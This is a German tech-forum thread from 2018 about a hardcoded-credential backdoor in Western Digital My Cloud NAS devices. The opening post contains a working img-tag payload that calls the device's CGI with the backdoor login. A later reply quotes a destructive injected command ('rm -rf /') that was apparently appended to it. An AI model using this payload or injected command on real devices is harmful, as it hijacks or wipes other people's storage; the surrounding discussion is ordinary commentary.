"Christmas - the time to fix the computers of your loved ones" « Lord Wyrm

My Cloud: Netzwerkspeicher von Western Digital via Backdoor angreifbar

enjoy 06.01.2018 - 08:28 1942 7 Thread rating
Posts

enjoy

Addicted
Registered: Sep 2000
Location: Tullnerfeld
Posts: 410

Falls wer von euch ein My Cloud System hat und sein Benutzer-Passwort vergessen hat
Code:
<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;">
vielleicht findet ihr in der Zeile eine Möglichkeit, euch mit Root-User anzumelden :(

vom Internet trennen, imho
Bearbeitet von enjoy am 07.01.2018, 09:38

Denne

Here to stay
Avatar
Registered: Jan 2005
Location: Germany
Posts: 2801
Hardgecodete Default-Zugangsdaten :bash: Wie zum Teufel kann man zur heutigen Zeit noch auf so eine Idee kommen?

Dreamforcer

New world Order
Avatar
Registered: Nov 2002
Location: Tirol
Posts: 8892
nice, erst die cams jetzt das, was da wohl noch alles kommen wird

Hubman

Seine Dudeheit
Registered: May 2000
Location: Nürnberg vs. Vl..
Posts: 5835
Zitat aus einem Post von Denne
Hardgecodete Default-Zugangsdaten :bash: Wie zum Teufel kann man zur heutigen Zeit noch auf so eine Idee kommen?

WD ist ja ein recht neues startup und der praktikant hat etwas rumgespielt....

Produktrelease war dann zu früh, kann passieren:D

MaxMax

Here to stay
Registered: Jul 2001
Location: Wien
Posts: 1913
naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system?

Smut

Moderator
takeover &amp; ether
Avatar
Registered: Feb 2003
Location: VIE
Posts: 16606
Zitat aus einem Post von MaxMax
naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system?

Aber bitte nur lokal über einen extra Port. Remote ist sowas ein absolutes nogo und einfach nicht notwendig. schon aus Eigenschutz will man als unternehmen idr soetwas nicht haben außer es ist für die Funktionalität des Services notwendig - dann muss man die Authentifizierung sowie deren Merkmale aber top top schützen.
Bearbeitet von Smut am 06.01.2018, 18:32

Dreamforcer

New world Order
Avatar
Registered: Nov 2002
Location: Tirol
Posts: 8892
Zitat aus einem Post von MaxMax
naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system?


denk das wird der hintergrund sein, aber wie smut ja schon sagt, so ists halt a bissi blöd.

wergor

connoisseur de mimi
Avatar
Registered: Jul 2005
Location: graz
Posts: 4019
Zitat aus einem Post von enjoy
;rm+-rf+/;"
:eek:
Kontakt | Unser Forum | Über overclockers.at | Impressum | Datenschutz